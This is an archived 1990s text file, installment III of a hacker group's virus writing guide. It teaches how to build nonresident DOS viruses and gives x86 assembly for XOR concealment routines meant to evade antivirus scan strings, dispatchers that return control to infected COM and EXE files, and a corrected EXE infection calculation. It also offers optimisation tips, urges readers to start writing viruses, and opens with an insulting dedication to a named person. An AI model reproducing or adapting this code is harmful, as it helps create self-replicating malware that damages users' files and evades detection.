HaCKeRz Kr0nlcKLeZ 1

home *** CD-ROM | disk | FTP | other *** search

/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / ps-vir3.txt < prev next >

Wrap

Text File | 1996-04-16 | 19.2 KB | 443 lines

//==// // // /|| // //==== //==// //| // // // // // //|| // // // // //|| // //==// //==// //=|| // // // // // || // // // // // || // // // // // ||// // // // // || //==== //==== //==// // ||/ /==== // // // /==== /| /| // // // // // //| //| ===\ // // // ===\ //|| //|| // // \\ // // // ||// || ====/ // \\ // ====/ // ||/ || ─────────────────────────────────────────────── DISCLAIMER: I hereby claim to have written this file. ─────────────────────────────────────────────── DEDICATION: This is dedicated to Patty Hoffman, that fat bitch who doesn't know her own name, and to the millions of dumb fools who were so scared by Michelangelo that they didn't touch their computers for an entire day. ─────────────────────────────────────────────── GREETS: to all PHALCON/SKISM members especially Garbageheap, Hellraiser, and Demogorgon. ─────────────────────────────────────────────── Dark Angel's Crunchy Virus Writing Guide ──── ─────── ─────── ───── ─────── ───── "It's the right thing to do" ──────────────────────────────────────────── INSTALLMENT III: NONRESIDENT VIRII, PART II ──────────────────────────────────────────── Welcome to the third installment of my Virus Writing Guide. In the previous installment, I covered the primary part of the virus - the replicator. As promised, I shall now cover the rest of the nonresident virus and present code which, when combined with code from the previous installment, will be sufficient to allow anyone to write a simple virus. Additionally, I will present a few easy tricks and tips which can help optimise your code. ───────────── THE CONCEALER ───────────── The concealer is the most common defense virus writers use to avoid detection of virii. The most common encryption/decryption routine by far is the XOR, since it may be used for both encryption and decryption. encrypt_val dw ? ; Should be somewhere in decrypted area decrypt: encrypt: mov dx, word ptr [bp+encrypt_val] mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 lea si, [bp+part_to_encrypt_start] mov di, si xor_loop: lodsw xor ax, dx stosw loop xor_loop The previous routine uses a simple XOR routine to encrypt or decrypt code in memory. This is essentially the same routine as the one in the first installment, except it encrypts words rather than bytes. It therefore has 65,535 mutations as opposed to 255 and is also twice as fast. While this routine is simple to understand, it leaves much to be desired as it is large and therefore is almost begging to be a scan string. A better method follows: encrypt_val dw ? decrypt: encrypt: mov dx, word ptr [bp+encrypt_val] lea bx, [bp+part_to_encrypt_start] mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 xor_loop: xor word ptr [bx], dx add bx, 2 loop xor_loop Although this code is much shorter, it is possible to further reduce its size. The best method is to insert the values for the encryption value, BX, and CX, in at infection-time. decrypt: encrypt: mov bx, 0FFFFh mov cx, 0FFFFh xor_loop: xor word ptr [bx], 0FFFFh add bx, 2 loop xor_loop All the values denoted by 0FFFFh may be changed upon infection to values appropriate for the infected file. For example, BX should be loaded with the offset of part_to_encrypt_start relative to the start of the infected file when the encryption routine is written to the infected file. The primary advantage of the code used above is the minimisation of scan code length. The scan code can only consist of those portions of the code which remain constant. In this case, there are only three or four consecutive bytes which remain constant. Since the entire encryption consist of only about a dozen bytes, the size of the scan code is extremely tiny. Although the function of the encryption routine is clear, perhaps the initial encryption value and calculation of subsequent values is not as lucid. The initial value for most XOR encryptions should be 0. You should change the encryption value during the infection process. A random encryption value is desired. The simplest method of obtaining a random number is to consult to internal clock. A random number may be easily obtained with a simple: mov ah, 2Ch ; Get me a random number. int 21h mov word ptr [bp+encrypt_val], dx ; Can also use CX Some encryption functions do not facilitate an initial value of 0. For an example, take a look at Whale. It uses the value of the previous word as an encryption value. In these cases, simply use a JMP to skip past the decryption routine when coding the virus. However, make sure infections JMP to the right location! For example, this is how you would code such a virus: org 100h start: jmp past_encryption ; Insert your encryption routine here past_encryption: The encryption routine is the ONLY part of the virus which needs to be unencrypted. Through code-moving techniques, it is possible to copy the infection mechanism to the heap (memory location past the end of the file and before the stack). All that is required is a few MOVSW instructions and one JMP. First the encryption routine must be copied, then the writing, then the decryption, then the RETurn back to the program. For example: lea si, [bp+encryption_routine] lea di, [bp+heap] mov cx, encryption_routine_size push si push cx rep movsb lea si, [bp+writing_routine] mov cx, writing_routine_size rep movsb pop cx pop si rep movsb mov al, 0C3h ; Tack on a near return stosb call [bp+heap] Although most virii, for simplicity's sake, use the same routine for both encryption and decryption, the above code shows this is completely unnecessary. The only modification of the above code for inclusion of a separate decryption routine is to take out the PUSHes and replace the POPs with the appropriate LEA si and MOV cx. Original encryption routines, while interesting, might not be the best. Stolen encryption routines are the best, especially those stolen from encrypted shareware programs! Sydex is notorious for using encryption in their shareware programs. Take a look at a shareware program's puny encryption and feel free to copy it into your own. Hopefully, the anti- viral developers will create a scan string which will detect infection by your virus in shareware products simply because the encryption is the same. Note that this is not a full treatment of concealment routines. A full text file could be written on encryption/decryption techniques alone. This is only the simplest of all possible encryption techniques and there are far more concealment techniques available. However, for the beginner, it should suffice. ────────────── THE DISPATCHER ────────────── The dispatcher is the portion of the virus which restores control back to the infected program. The dispatchers for EXE and COM files are, naturally, different. In COM files, you must restore the bytes which were overwritten by your virus and then transfer control back to CS:100h, which is where all COM files are initially loaded. RestoreCOM: mov di, 100h ; We are copying to the beginning lea si, [bp+savebuffer] ; We are copying from our buffer push di ; Save offset for return (100h) movsw ; Mo efficient than mov cx, 3, movsb movsb ; Alter to meet your needs retn ; A JMP will also work EXE files require simply the restoration of the stack segment/pointer and the code segment/instruction pointer. ExeReturn: mov ax, es ; Start at PSP segment add ax, 10h ; Skip the PSP add word ptr cs:[bp+ExeWhereToJump+2], ax cli add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack mov ss, ax mov sp, word ptr cs:[bp+StackSave] sti db 0eah ; JMP FAR PTR SEG:OFF ExeWhereToJump: dd 0 StackSave: dd 0 ExeWhereToJump2 dd 0 StackSave2 dd 0 Upon infection, the initial CS:IP and SS:SP should be stored in ExeWhereToJump2 and StackSave2, respectively. They should then be moved to ExeWhereToJump and StackSave before restoration of the program. This restoration may be easily accomplished with a series of MOVSW instructions. Some like to clear all the registers prior to the JMP/RET, i.e. they issue a bunch of XOR instructions. If you feel happy and wish to waste code space, you are welcome to do this, but it is unnecessary in most instances. ──────── THE BOMB ──────── "The horror! The horror!" - Joseph Conrad, The Heart of Darkness What goes through the mind of a lowly computer user when a virus activates? What terrors does the unsuspecting victim undergo as the computer suddenly plays a Nazi tune? How awful it must be to lose thousands of man-hours of work in an instant! Actually, I do not support wanton destruction of data and disks by virii. It serves no purpose and usually shows little imagination. For example, the world-famous Michelangelo virus did nothing more than overwrite sectors of the drive with data taken at random from memory. How original. Yawn. Of course, if you are hell-bent on destruction, go ahead and destroy all you want, but just remember that this portion of the virus is usually the only part seen by "end-users" and distinguishes it from others. The best examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt. Don't forget the PHALCON/SKISM line, especially those by me (I had to throw in a plug for the group)! As you can see, there's no code to speak of in this section. Since all bombs should be original, there isn't much point of putting in the code for one, now is there! Of course, some virii don't contain any bomb to speak of. Generally speaking, only those under about 500 bytes lack bombs. There is no advantage of not having a bomb other than size considerations. ───────── MEA CULPA ───────── I regret to inform you that the EXE infector presented in the last installment was not quite perfect. I admit it. I made a mistake of colossal proportions The calculation of the file size and file size mod 512 was screwed up. Here is the corrected version: ; On entry, DX:AX hold the NEW file size push ax ; Save low word of filesize mov cl, 9 ; 2^9 = 512 shr ax, cl ; / 512 ror dx, cl ; / 512 (sort of) stc ; Check EXE header description ; for explanation of addition adc dx, ax ; of 1 to the DIV 512 portion pop ax ; Restore low word of filesize and ah, 1 ; MOD 512 This results in the file size / 512 + 1 in DX and the file size modulo 512 in AX. The rest remains the same. Test your EXE infection routine with Microsoft's LINK.EXE, since it won't run unless the EXE infection is perfect. I have saved you the trouble and smacked myself upside the head for this dumb error. ─────────────── TIPS AND TRICKS ─────────────── So now all the parts of the nonresident virus have been covered. Yet I find myself left with several more K to fill. So, I shall present several simple techniques anyone can incorporate into virii to improve efficiency. 1. Use the heap The heap is the memory area between the end of code and the bottom of the stack. It can be conveniently treated as a data area by a virus. By moving variables to the heap, the virus need not keep variables in its code, thereby reducing its length. Note that since the contents heap are not part of the virus, only temporary variables should be kept there, i.e. the infection routine should not count the heap as part of the virus as that would defeat the entire purpose of its use. There are two ways of using the heap: ; First method EndOfVirus: Variable1 equ $ Variable2 equ Variable1 + LengthOfVariable1 Variable3 equ Variable2 + LengthOfVariable2 Variable4 equ Variable3 + LengthOfVariable3 ; Example of first method EndOfVirus: StartingDirectory = $ TemporaryDTA = StartingDirectory + 64 FileSize = TemporaryDTA + 42 Flag = FileSize + 4 ; Second method EndOfVirus: Variable1 db LengthOfVariable1 dup (?) Variable2 db LengthOfVariable2 dup (?) Variable3 db LengthOfVariable3 dup (?) Variable4 db LengthOfVariable4 dup (?) ; Example of second method EndOfVirus: StartingDirectory db 64 dup (?) TemporaryDTA db 42 dup (?) FileSize dd ? Flag db ? The two methods differ slightly. By using the first method, you create a file which will be the exact length of the virus (plus startup code). However, when referencing the variables, size specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always be used or the assembler will become befuddled. Secondly, if the variables need to be rearranged for some reason, the entire chain of EQUates will be destroyed and must be rebuilt. Virii coded with second method do not need size specifications, but the resulting file will be larger than the actual size of the virus. While this is not normally a problem, depending on the reinfection check, the virus may infect the original file when run. This is not a big disability, especially considering the advantages of this method. In any case, the use of the heap can greatly lessen the effective length of the virus code and thereby make it much more efficient. The only thing to watch out for is infecting large COM files where the heap will "wrap around" to offset 0 of the same segment, corrupting the PSP. However, this problem is easily avoided. When considering whether a COM file is too large to infect for this reason, simply add the temporary variable area size to the virus size for the purposes of the check. 2. Use procedures Procedures are helpful in reducing the size of the virus, which is always a desired goal. Only use procedures if they save space. To determine the amount of bytes saved by the use of a procedure, use the following formula: Let PS = the procedure size, in bytes bytes saved = (PS - 4) * number invocations - PS For example, the close file procedure, close_file: mov ah, 3eh ; 2 bytes int 21h ; 2 bytes ret ; 1 byte ; PS = 2+2+1 = 5 is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A whopping savings of one (1) byte! Since no virus closes a file in six different places, the close file procedure is clearly useless and should be avoided. Whenever possible, design the procedures to be as flexible as possible. This is the chief reason why Bulgarian coding is so tight. Just take a look at the source for Creeping Death. For example, the move file pointer procedure: go_eof: mov al, 2 move_fp: xor dx, dx go_somewhere: xor cx, cx mov ah, 42h int 21h ret The function was build with flexibility in mind. With a CALL to go_eof, the procedure will move the file pointer to the end of the file. A CALL to move_fp with AL set to 0, the file pointer will be reset. A CALL to go_somewhere with DX and AL set, the file pointer may be moved anywhere within the file. If the function is used heavily, the savings could be enormous. 3. Use a good assembler and debugger The best assembler I have encountered to date is Turbo Assembler. It generates tight code extremely quickly. Use the /m2 option to eliminate all placeholder NOPs from the code. The advantages are obvious - faster development and smaller code. The best debugger is also made by Borland, the king of development tools. Turbo Debugger has so many features that you might just want to buy it so you can read the manual! It can bypass many debugger traps with ease and is ideal for testing. Additionally, this debugger has 286 and 386 specific protected mode versions, each of which are even more powerful than their real mode counterparts. 4. Don't use MOV instead of LEA When writing your first virus, you may often forget to use LEA instead of MOV when loading offsets. This is a serious mistake and is often made by beginning virus coders. The harmful effects of such a grevious error are immediately obvious. If the virus is not working, check for this bug. It's almost as hard to catch as a NULL pointer error in C. 5. Read the latest issues of 40Hex 40Hex, PHALCON/SKISM's official journal of virus techniques and news, is a publication not to be missed by any self-respecting virus writer. Each issue contains techniques and source code, designed to help all virus writers, be they beginners or experts. Virus-related news is also published. Get it, read it, love it, eat it! ────── SO NOW ────── you have all the code and information sufficient to write a viable virus, as well as a wealth of techniques to use. So stop reading and start writing! The only way to get better is through practise. After two or three tries, you should be well on your way to writing good virii.